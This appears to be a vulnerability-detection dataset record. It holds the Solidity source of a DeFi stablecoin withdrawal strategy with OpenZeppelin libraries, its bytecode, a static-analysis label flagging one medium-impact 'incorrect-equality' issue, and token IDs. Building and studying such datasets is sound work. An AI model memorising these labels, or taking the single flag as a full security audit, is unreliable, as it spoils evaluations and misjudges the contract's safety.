overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _governance; event GovernanceTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _governance = msgSender; emit GovernanceTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function governance() public view returns (address) { return _governance; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyGovernance() { require(_governance == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferGovernance(address newOwner) internal virtual onlyGovernance { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit GovernanceTransferred(_governance, newOwner); _governance = newOwner; } } // File: contracts/strategies/StabilizeStrategyXUSDWithdraw.sol pragma solidity =0.6.6; // This is a strategy used to allow users to withdraw their underlying tokens from the pool contract StabilizeStrategyXUSDWithdraw is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; address public zsTokenAddress; // The address of the controlling zs-Token uint256 constant DIVISION_FACTOR = 100000; uint256 public lastActionBalance; // Balance before last deposit, withdraw or trade // Token information // This strategy accepts multiple stablecoins // USDN, MUSD, PAX, DUSD, GUSD, BUSD // All the pools go through USDC to trade between each other struct TokenInfo { IERC20 token; // Reference of token uint256 decimals; // Decimals of token } TokenInfo[] private tokenList; // An array of tokens accepted as deposits constructor( address _zsToken ) public { zsTokenAddress = _zsToken; setupWithdrawTokens(); } // Initialization functions function setupWithdrawTokens() internal { // USDN, MUSD, PAX, DUSD, GUSD, BUSD // Start with USDN (by Neutrino) IERC20 _token = IERC20(address(0x674C6Ad92Fd080e4004b2312b45f796a192D27a0)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // MUSD from MStable _token = IERC20(address(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // PAX _token = IERC20(address(0x8E870D67F660D95d5be530380D0eC0bd388289E1)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // DUSD by DefiDollar _token = IERC20(address(0x5BC25f649fc4e26069dDF4cF4010F9f706c23831)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // GUSD by Gemini _token = IERC20(address(0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // BUSD by Binance _token = IERC20(address(0x4Fabb145d64652a948d72533023f6E7A623C7C53)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); // USDP by Unit _token = IERC20(address(0x1456688345527bE1f37E9e627DA0837D6f08C925)); tokenList.push( TokenInfo({ token: _token, decimals: _token.decimals() }) ); } // Modifier modifier onlyZSToken() { require(zsTokenAddress == _msgSender(), "Call not sent from the zs-Token"); _; } // Read functions function rewardTokensCount() external view returns (uint256) { return tokenList.length; } function rewardTokenAddress(uint256 _pos) external view returns (address) { require(_pos < tokenList.length,"No token at that position"); return address(tokenList[_pos].token); } function balance() public view returns (uint256) { return getNormalizedTotalBalance(address(this)); } function getNormalizedTotalBalance(address _address) public view returns (uint256) { // Get the balance of the atokens+tokens at this address uint256 _balance = 0; uint256 _length = tokenList.length; for(uint256 i = 0; i < _length; i++){ uint256 _bal = tokenList[i].token.balanceOf(_address); _bal = _bal.mul(1e18).div(10**tokenList[i].decimals); _balance = _balance.add(_bal); // This has been normalized to 1e18 decimals } return _balance; } function withdrawTokenReserves() public view returns (address, uint256) { (uint256 targetID, uint256 _bal) = withdrawTokenReservesID(); if(_bal == 0){ return (address(0), _bal); }else{ return (address(tokenList[targetID].token), _bal); } } function withdrawTokenReservesID() internal view returns (uint256, uint256) { // This function will return the address and amount of the token with the highest balance uint256 length = tokenList.length; uint256 targetID = 0; uint256 targetNormBalance = 0; for(uint256 i = 0; i < length; i++){ uint256 _normBal = tokenList[i].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i].decimals); if(_normBal > 0){ if(targetNormBalance == 0 || _normBal >= targetNormBalance){ targetNormBalance = _normBal; targetID = i; } } } if(targetNormBalance > 0){ return (targetID, tokenList[targetID].token.balanceOf(address(this))); }else{ return (0, 0); // No balance } } // Write functions function enter() external onlyZSToken { deposit(false); } function exit() external onlyZSToken { // The ZS token vault is removing all tokens from this strategy withdraw(_msgSender(),1,1, false); } function deposit(bool nonContract) public onlyZSToken { // Only the ZS token can call the function // No trading is performed on deposit if(nonContract == true){} lastActionBalance = balance(); // This action balance represents pool post stablecoin deposit } function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) { require(balance() > 0, "There are no tokens in this strategy"); if(nonContract == true){} uint256 withdrawAmount = 0; uint256 _balance = balance(); if(_share < _total){ uint256 _myBalance = _balance.mul(_share).div(_total); withdrawPerBalance(_depositor, _myBalance, false); // This will withdraw based on token balance withdrawAmount = _myBalance; }else{ // We are all shares, transfer all withdrawPerBalance(_depositor, _balance, true); withdrawAmount = _balance; } lastActionBalance = balance(); return withdrawAmount; } // This will withdraw the tokens from the contract based on their balance, from highest balance to lowest function withdrawPerBalance(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal { uint256 length = tokenList.length; if(_takeAll == true){ // Send the entire balance for(uint256 i = 0; i < length; i++){ uint256 _bal = tokenList[i].token.balanceOf(address(this)); if(_bal > 0){ tokenList[i].token.safeTransfer(_receiver, _bal); } } return; } bool[] memory done = new bool[](length); uint256 targetID = 0; uint256 targetNormBalance = 0; for(uint256 i = 0; i < length; i++){ targetNormBalance = 0; // Reset the target balance // Find the highest balanced token to withdraw for(uint256 i2 = 0; i2 < length; i2++){ if(done[i2] == false){ uint256 _normBal = tokenList[i2].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i2].decimals); if(targetNormBalance == 0 || _normBal >= targetNormBalance){ targetNormBalance = _normBal; targetID = i2; } } } done[targetID] = true; // Determine the balance left uint256 _normalizedBalance = tokenList[targetID].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[targetID].decimals); if(_normalizedBalance <= _withdrawAmount){ // Withdraw the entire balance of this token if(_normalizedBalance > 0){ _withdrawAmount = _withdrawAmount.sub(_normalizedBalance); tokenList[targetID].token.safeTransfer(_receiver, tokenList[targetID].token.balanceOf(address(this))); } }else{ // Withdraw a partial amount of this token if(_withdrawAmount > 0){ // Convert the withdraw amount to the token's decimal amount uint256 _balance = _withdrawAmount.mul(10**tokenList[targetID].decimals).div(1e18); _withdrawAmount = 0; tokenList[targetID].token.safeTransfer(_receiver, _balance); } break; // Nothing more to withdraw } } } // Timelock variables uint256 private _timelockStart; // The start of the timelock to change governance variables uint256 private _timelockType; // The function that needs to be changed uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours // Reusable timelock variables address private _timelock_address; modifier timelockConditionsMet(uint256 _type) { require(_timelockType == _type, "Timelock not acquired for this function"); _timelockType = 0; // Reset the type once the timelock is used if(balance() > 0){ // Timelock only applies when balance exists require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met"); } _; } // Change the owner of the token contract // -------------------- function startGovernanceChange(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 1; _timelock_address = _address; } function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) { transferGovernance(_timelock_address); } // -------------------- // Change the zsToken address // -------------------- function startChangeZSToken(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 2; _timelock_address = _address; } function finishChangeZSToken() external onlyGovernance timelockConditionsMet(2) { zsTokenAddress = _timelock_address; } // -------------------- }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a7e712ce11610097578063c650ea5911610066578063c650ea591461022f578063e97dcb621461025a578063e9fad8ee14610262578063f80087761461026a57610100565b8063a7e712ce146101f8578063b69ef8a814610200578063b919507214610208578063c57273c21461021057610100565b80635aa6e675116100d35780635aa6e675146101ba5780636dbc132a146101c2578063780d9d2d146101ca5780639d63b8f7146101d257610100565b8063234b6745146101055780633303b8ab146101515780633babade2146101595780635930a0a114610181575b600080fd5b61013f6004803603608081101561011b57600080fd5b506001600160a01b0381351690602081013590604081013590606001351515610290565b60408051918252519081900360200190f35b61013f6103a3565b61017f6004803603602081101561016f57600080fd5b50356001600160a01b03166103a9565b005b61019e6004803603602081101561019757600080fd5b503561042c565b604080516001600160a01b039092168252519081900360200190f35b61019e6104b2565b61019e6104c1565b61013f6104d0565b61013f600480360360208110156101e857600080fd5b50356001600160a01b03166104d6565b61017f6105e6565b61013f61070e565b61017f61071e565b61017f6004803603602081101561022657600080fd5b50351515610839565b61023761089f565b604080516001600160a01b03909316835260208301919091528051918290030190f35b61017f6108fd565b61017f610961565b61017f6004803603602081101561028057600080fd5b50356001600160a01b03166109ce565b600061029a610a51565b6001546001600160a01b039081169116146102ea576040805162461bcd60e51b815260206004820152601f60248201526000805160206115b6833981519152604482015290519081900360640190fd5b60006102f461070e565b116103305760405162461bcd60e51b81526004018080602001828103825260248152602001806115f66024913960400191505060405180910390fd5b60008061033b61070e565b90508486101561037c5760006103678661035b848a63ffffffff610a5516565b9063ffffffff610ab716565b905061037588826000610af9565b915061038c565b61038887826001610af9565b8091505b61039461070e565b6002555090505b949350505050565b60025481565b6103b1610a51565b6000546001600160a01b03908116911614610401576040805162461bcd60e51b815260206004820181905260248201526000805160206115d6833981519152604482015290519081900360640190fd5b426004556002600555600680546001600160a01b0319166001600160a01b0392909216919091179055565b6003546000908210610485576040805162461bcd60e51b815260206004820152601960248201527f4e6f20746f6b656e206174207468617420706f736974696f6e00000000000000604482015290519081900360640190fd5b6003828154811061049257fe5b60009182526020909120600290910201546001600160a01b031692915050565b6000546001600160a01b031690565b6001546001600160a01b031681565b60035490565b6003546000908190815b818110156105dd576000600382815481106104f757fe5b600091825260209182902060029091020154604080516370a0823160e01b81526001600160a01b038a81166004830152915191909216926370a082319260248082019391829003018186803b15801561054f57600080fd5b505afa158015610563573d6000803e3d6000fd5b505050506040513d602081101561057957600080fd5b5051600380549192506105c0918490811061059057fe5b906000526020600020906002020160010154600a0a61035b670de0b6b3a764000084610a5590919063ffffffff16565b90506105d2848263ffffffff610f0116565b9350506001016104e0565b50909392505050565b6105ee610a51565b6000546001600160a01b0390811691161461063e576040805162461bcd60e51b815260206004820181905260248201526000805160206115d6833981519152604482015290519081900360640190fd5b600280600554146106805760405162461bcd60e51b815260040180806020018281038252602781526020018061156e6027913960400191505060405180910390fd5b6000600581905561068f61070e565b11156106e95762015180600454014210156106e9576040805162461bcd60e51b8152602060048201526015602482015274151a5b595b1bd8dac81d1a5b59481b9bdd081b595d605a1b604482015290519081900360640190fd5b50600654600180546001600160a01b0319166001600160a01b03909216919091179055565b6000610719306104d6565b905090565b610726610a51565b6000546001600160a01b03908116911614610776576040805162461bcd60e51b815260206004820181905260248201526000805160206115d6833981519152604482015290519081900360640190fd5b600180600554146107b85760405162461bcd60e51b815260040180806020018281038252602781526020018061156e6027913960400191505060405180910390fd5b600060058190556107c761070e565b1115610821576201518060045401421015610821576040805162461bcd60e51b8152602060048201526015602482015274151a5b595b1bd8dac81d1a5b59481b9bdd081b595d605a1b604482015290519081900360640190fd5b600654610836906001600160a01b0316610f5b565b50565b610841610a51565b6001546001600160a01b03908116911614610891576040805162461bcd60e51b815260206004820152601f60248201526000805160206115b6833981519152604482015290519081900360640190fd5b61089961070e565b60025550565b6000806000806108ad611053565b9150915080600014156108c7576000935091506108f99050565b600382815481106108d457fe5b60009182526020909120600290910201546001600160a01b0316935091506108f99050565b9091565b610905610a51565b6001546001600160a01b03908116911614610955576040805162461bcd60e51b815260206004820152601f60248201526000805160206115b6833981519152604482015290519081900360640190fd5b61095f6000610839565b565b610969610a51565b6001546001600160a01b039081169116146109b9576040805162461bcd60e51b815260206004820152601f60248201526000805160206115b6833981519152604482015290519081900360640190fd5b6108366109c4610a51565b6001806000610290565b6109d6610a51565b6000546001600160a01b03908116911614610a26576040805162461bcd60e51b815260206004820181905260248201526000805160206115d6833981519152604482015290519081900360640190fd5b426004556001600555600680546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082610a6457506000610ab1565b82820282848281610a7157fe5b0414610aae5760405162461bcd60e51b81526004018080602001828103825260218152602001806115956021913960400191505060405180910390fd5b90505b92915050565b6000610aae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611156565b60035460018215151415610bf25760005b81811015610beb57600060038281548110610b2157fe5b600091825260209182902060029091020154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d6020811015610b9f57600080fd5b505190508015610be257610be2868260038581548110610bbb57fe5b60009182526020909120600290910201546001600160a01b0316919063ffffffff6111f816565b50600101610b0a565b5050610efc565b60608167ffffffffffffffff81118015610c0b57600080fd5b50604051908082528060200260200182016040528015610c35578160200160208202803683370190505b509050600080805b84811015610ef65760009150815b85811015610d5f57848181518110610c5f57fe5b6020908102919091010151610d57576000610d3a60038381548110610c8057fe5b906000526020600020906002020160010154600a0a61035b670de0b6b3a764000060038681548110610cae57fe5b600091825260209182902060029091020154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d6020811015610d2c57600080fd5b50519063ffffffff610a5516565b9050831580610d495750838110155b15610d55578093508194505b505b600101610c4b565b506001848481518110610d6e57fe5b6020026020010190151590811515815250506000610dc060038581548110610d9257fe5b906000526020600020906002020160010154600a0a61035b670de0b6b3a764000060038881548110610cae57fe5b9050878111610e85578015610e8057610ddf888263ffffffff61124a16565b9750610e808960038681548110610df257fe5b600091825260209182902060029091020154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015610e4657600080fd5b505afa158015610e5a573d6000803e3d6000fd5b505050506040513d6020811015610e7057600080fd5b50516003805488908110610bbb57fe5b610eed565b8715610ee7576000610ecd670de0b6b3a764000061035b60038881548110610ea957fe5b906000526020600020906002020160010154600a0a8c610a5590919063ffffffff16565b905060009850610ee58a8260038881548110610bbb57fe5b505b50610ef6565b50600101610c3d565b50505050505b505050565b600082820183811015610aae576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610f63610a51565b6000546001600160a01b03908116911614610fb3576040805162461bcd60e51b815260206004820181905260248201526000805160206115d6833981519152604482015290519081900360640190fd5b6001600160a01b038116610ff85760405162461bcd60e51b81526004018080602001828103825260268152602001806115486026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f5f56bee8cffbe9a78652a74a60705edede02af10b0bbb888ca44b79a0d42ce8091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60035460009081908180805b838110156110a357600061107960038381548110610c8057fe5b9050801561109a5782158061108e5750828110155b1561109a578092508193505b5060010161105f565b5080156111465781600383815481106110b857fe5b600091825260209182902060029091020154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b15801561110c57600080fd5b505afa158015611120573d6000803e3d6000fd5b505050506040513d602081101561113657600080fd5b505190955093506108f992505050565b50600093508392506108f9915050565b600081836111e25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a757818101518382015260200161118f565b50505050905090810190601f1680156111d45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816111ee57fe5b0495945050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610efc90849061128c565b6000610aae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133d565b60606112e1826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166113979092919063ffffffff16565b805190915015610efc5780806020019051602081101561130057600080fd5b5051610efc5760405162461bcd60e51b815260040180806020018281038252602a81526020018061161a602a913960400191505060405180910390fd5b6000818484111561138f5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156111a757818101518382015260200161118f565b505050900390565b606061039b848460008560606113ac8561150e565b6113fd576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061143c5780518252601f19909201916020918201910161141d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461149e576040519150601f19603f3d011682016040523d82523d6000602084013e6114a3565b606091505b509150915081156114b757915061039b9050565b8051156114c75780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156111a757818101518382015260200161118f565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061039b57505015159291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737354696d656c6f636b206e6f7420616371756972656420666f7220746869732066756e6374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c206e6f742073656e742066726f6d20746865207a732d546f6b656e004f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572546865726520617265206e6f20746f6b656e7320696e20746869732073747261746567795361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220340c25f6a3bcda4758b80f231c091d22552dc73afc5602c577c48c7911c5f39964736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2549, 6305, 2683, 2620, 22407, 2683, 21084, 12740, 17465, 2509, 2050, 17914, 19841, 2692, 2581, 2549, 2546, 2581, 2581, 2509, 12879, 8889, 2692, 26976, 2683, 2620, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 102 ]
